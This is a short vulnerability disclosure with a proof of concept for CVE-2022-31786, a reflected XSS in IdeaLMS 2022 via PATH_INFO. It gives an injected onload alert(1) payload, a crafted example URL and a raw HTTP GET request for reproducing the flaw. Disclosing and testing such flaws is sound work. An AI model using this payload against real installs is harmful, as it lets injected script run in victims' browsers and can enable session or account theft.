RNPG / Reflected Cross Site Scripting (XSS) Vulnerability PoC - IdeaLMS.txt

Secret

Last active 6 months ago

Reflected Cross Site Scripting (XSS) Vulnerability PoC - IdeaLMS.txt

```
Vulnerability Type: Reflected Cross Site Scripting (XSS) Vulnerability
Vendor of Product: Ideaco.ir
Affected Product Code Base: IdeaLMS
Product Version: 2022
Description: IdeaLMS allows Reflected XSS via PATH_INFO
Attack Vectors: In order to exploit the vulnerability, victim must open a maliciously crafter link
Attack Type: Remote
Payload: adxdt"onload="alert(1)"d6vv3hjschm
Assigned CVE-ID: CVE-2022-31786
Discoverer: Mohammad Reza Ismaeli Taba, Raspina Net Pars Group (RNPG Ltd.)

Steps To Reproduce
1. Browse the the following URL: http://<target.xyz>/IdeaLMS/Class/Assessment/[PATH_INFO]
2.You can create your malicious payload like the following and run your arbitrary JavaScript code
Example:  http://<target.xyz>/IdeaLMS/Class/Assessment/adxdt%22onload%3d%22alert(1)%22d6vv3hjschm/

#PoC

GET /IdeaLMS/Class/Assessment/adxdt%22onload%3d%22alert(1)%22d6vv3hjschm/-1/-1/129 HTTP/1.1
Host: <address in which IdeaLMS is set up>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```